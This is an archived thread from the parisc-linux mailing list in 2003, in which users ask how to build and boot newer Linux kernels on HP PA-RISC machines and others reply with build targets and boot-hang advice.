Message-ID: <5D69EA3878E6D411B43C00508BFD7283049FB542@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622148 20593 80.91.229.3 (22 Nov 2014 02:09:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:08 +0000 (UTC)
To: "'parisc-linux@parisc-linux.org'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 27 10:08:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from exchange2.elgin.cc.il.us (exchange2.elgin.edu [66.158.60.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC9CC482A
	for <parisc-linux@parisc-linux.org>; Mon, 27 Jan 2003 10:08:10 -0700 (MST)
Original-Received: by exchange2.elgin.edu with Internet Mail Service (5.5.2653.19)
	id <C2L7GWSN>; Mon, 27 Jan 2003 11:04:46 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17502

Hello,

uname -a showed 2.4.17-32.  I wanted to get X windows working so reading faq
learned that I need to use newer kernel.  Well on doing apt-get install
kernel-image-2.4.18 I saw errors for depmod.  I chose abort[yes].  I was not
sure what to do?

can you guide?

Thanks.


From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mehta, Miten" <mmehta@elgin.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PCI Support
Date: Mon, 27 Jan 2003 19:14:05 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <5D69EA3878E6D411B43C00508BFD7283049FB545@exchange2.elgin.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622149 20595 80.91.229.3 (22 Nov 2014 02:09:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:09 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 27 18:17:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from exchange2.elgin.cc.il.us (exchange2.elgin.edu [66.158.60.7])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87315482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 18:17:29 -0700 (MST)
Original-Received: by exchange2.elgin.edu with Internet Mail Service (5.5.2653.19)
	id <C2L7GZB5>; Mon, 27 Jan 2003 19:14:05 -0600
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17503

Hello,

I downloaded kernel source and build it but on start X windows one of errors
is no PCI support so am thinking to compile it with PCI support.  make
config I am not sure of all values to provide if one know exactly what I
need to set in one of files then it could be better.

Thanks.

cc: mmehta@elgin.edu


From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel....
Date: Mon, 27 Jan 2003 20:23:34 -0800 (PST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301272021470.235-100000@jordan.eng.nateng.com>
References: <20030126215205.GD28343@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622149 20601 80.91.229.3 (22 Nov 2014 02:09:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:09 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 27 21:23:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 44357482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 21:23:54 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0S4cVp13505
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 20:38:31 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0S4NZH00386
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 20:23:35 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <20030126215205.GD28343@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17504

Quick question...  I got the box back up and running and everything built.

In PCs it's make zImage/bzImage
on Alpha's it's make boot

make boot doesn't work, and make vmlinux doesn't seem to be right
either...

What is the target for a kernel build?




From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel....
Date: Mon, 27 Jan 2003 20:24:18 -0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20030128042418.GC20940@tausq.org>
References: <20030126215205.GD28343@dsl2.external.hp.com> <Pine.LNX.4.33.0301272021470.235-100000@jordan.eng.nateng.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622149 20604 80.91.229.3 (22 Nov 2014 02:09:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sir Ace <chandler@nateng.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 27 21:27:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 169A74838
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 21:27:32 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 58BFCCDA56; Mon, 27 Jan 2003 20:24:18 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33.0301272021470.235-100000@jordan.eng.nateng.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17505

> make boot doesn't work, and make vmlinux doesn't seem to be right
> either...
> 
> What is the target for a kernel build?

make vmlinux is the right target for harddisk boot. for network boot you
want make palo

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel....
Date: Mon, 27 Jan 2003 20:30:33 -0800 (PST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301272029570.235-100000@jordan.eng.nateng.com>
References: <20030128042418.GC20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622150 20607 80.91.229.3 (22 Nov 2014 02:09:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:10 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 27 21:30:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83F7A483D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 21:30:53 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0S4jUp13665
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 20:45:30 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0S4UXT00413
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 20:30:33 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <20030128042418.GC20940@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17506

I thought so, but I couldn't find the kernel, once it was built {I saw the
correct output}  Let me go back and looks and see if I can find it again.

On Mon, 27 Jan 2003, Randolph Chung wrote:

> > make boot doesn't work, and make vmlinux doesn't seem to be right
> > either...
> >
> > What is the target for a kernel build?
>
> make vmlinux is the right target for harddisk boot. for network boot you
> want make palo
>
> randolph
>



From - Thu Nov 08 21:26:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel....
Date: Mon, 27 Jan 2003 20:30:51 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301272030380.235-100000@jordan.eng.nateng.com>
References: <20030128042418.GC20940@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622150 20608 80.91.229.3 (22 Nov 2014 02:09:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:10 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 27 21:31:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E96F483D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 21:31:53 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0S4jlp13674
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 20:45:47 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0S4Upt00417
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 20:30:51 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <20030128042418.GC20940@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17507

Does vmlinuz work on hp?

On Mon, 27 Jan 2003, Randolph Chung wrote:

> > make boot doesn't work, and make vmlinux doesn't seem to be right
> > either...
> >
> > What is the target for a kernel build?
>
> make vmlinux is the right target for harddisk boot. for network boot you
> want make palo
>
> randolph
>



From - Thu Nov 08 21:26:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel....
Date: Mon, 27 Jan 2003 20:35:31 -0800 (PST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301272035120.235-100000@jordan.eng.nateng.com>
References: <Pine.LNX.4.33.0301272030380.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622150 20610 80.91.229.3 (22 Nov 2014 02:09:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:10 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 27 21:35:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 841A5482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 21:35:53 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0S4oRp13796
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 20:50:27 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0S4ZVn00434
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 20:35:31 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <Pine.LNX.4.33.0301272030380.235-100000@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17508

Duh, I forgot that vmlinux gets dropped in /usr/src/linux...
my bad...

On Mon, 27 Jan 2003, Sir Ace wrote:

>
> Does vmlinuz work on hp?
>
> On Mon, 27 Jan 2003, Randolph Chung wrote:
>
> > > make boot doesn't work, and make vmlinux doesn't seem to be right
> > > either...
> > >
> > > What is the target for a kernel build?
> >
> > make vmlinux is the right target for harddisk boot. for network boot you
> > want make palo
> >
> > randolph
> >
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:26:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel hang.
Date: Mon, 27 Jan 2003 20:54:49 -0800 (PST)
Lines: 44
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0301272051360.235-100000@jordan.eng.nateng.com>
References: <Pine.LNX.4.33.0301272035120.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622150 20614 80.91.229.3 (22 Nov 2014 02:09:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:10 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 27 21:55:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id 515D6482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 21:55:53 -0700 (MST)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h0S59jp14110
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 21:09:45 -0800
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.11.4/8.11.4) with ESMTP id h0S4snE00450
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 20:54:49 -0800
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: <chandler@jordan.eng.nateng.com>
In-Reply-To: <Pine.LNX.4.33.0301272035120.235-100000@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17509

I compiled 2.4.20, and set it up to boot from the new kernel.
Unfortunately it hung, at the
'if this the last message you see' part...
I can't find anything in the FAQ, and I didn't find anything in the bug
liste... The machine is a J210, any ideas?  Or what kind of info should I
send?

On Mon, 27 Jan 2003, Sir Ace wrote:

>
> Duh, I forgot that vmlinux gets dropped in /usr/src/linux...
> my bad...
>
> On Mon, 27 Jan 2003, Sir Ace wrote:
>
> >
> > Does vmlinuz work on hp?
> >
> > On Mon, 27 Jan 2003, Randolph Chung wrote:
> >
> > > > make boot doesn't work, and make vmlinux doesn't seem to be right
> > > > either...
> > > >
> > > > What is the target for a kernel build?
> > >
> > > make vmlinux is the right target for harddisk boot. for network boot you
> > > want make palo
> > >
> > > randolph
> > >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:26:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel hang.
Date: Mon, 27 Jan 2003 21:08:23 -0800 (PST)
Lines: 71
Approved: news@gmane.org
Message-ID: <20030128050823.57726.qmail@web12507.mail.yahoo.com>
References: <Pine.LNX.4.33.0301272051360.235-100000@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-183633735-1043730503=:57209"
X-Trace: ger.gmane.org 1416622151 20619 80.91.229.3 (22 Nov 2014 02:09:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:11 +0000 (UTC)
To: Sir Ace <chandler@nateng.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 27 22:08:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id ABC2C4844
	for <parisc-linux@lists.parisc-linux.org>; Mon, 27 Jan 2003 22:08:24 -0700 (MST)
Original-Received: from [12.24.253.152] by web12507.mail.yahoo.com via HTTP; Mon, 27 Jan 2003 21:08:23 PST
In-Reply-To: <Pine.LNX.4.33.0301272051360.235-100000@jordan.eng.nateng.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17510

--0-183633735-1043730503=:57209
Content-Type: text/plain; charset=us-ascii


How long did you let it wait?  Some of the machines prior to the C200 (my C360 doesn't do it either) seem to hang, but after 20 mins take off.  It's a bus walk issue that takes forever.  There was a patch for this that was posted recently to see if it resolved this issue.  Let it sit there for awile and see if it eventually starts booting.
derek
 Sir Ace <chandler@nateng.com> wrote:
I compiled 2.4.20, and set it up to boot from the new kernel.
Unfortunately it hung, at the
'if this the last message you see' part...
I can't find anything in the FAQ, and I didn't find anything in the bug
liste... The machine is a J210, any ideas? Or what kind of info should I
send?

On Mon, 27 Jan 2003, Sir Ace wrote:

>
> Duh, I forgot that vmlinux gets dropped in /usr/src/linux...
> my bad...
>
> On Mon, 27 Jan 2003, Sir Ace wrote:
>
> >
> > Does vmlinuz work on hp?
> >
> > On Mon, 27 Jan 2003, Randolph Chung wrote:
> >
> > > > make boot doesn't work, and make vmlinux doesn't seem to be right
> > > > either...
> > > >
> > > > What is the target for a kernel build?
> > >
> > > make vmlinux is the right target for harddisk boot. for network boot you
> > > want make palo
> > >
> > > randolph
> > >
> >
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Mail Plus - Powerful. Affordable. Sign up now
--0-183633735-1043730503=:57209
Content-Type: text/html; charset=us-ascii

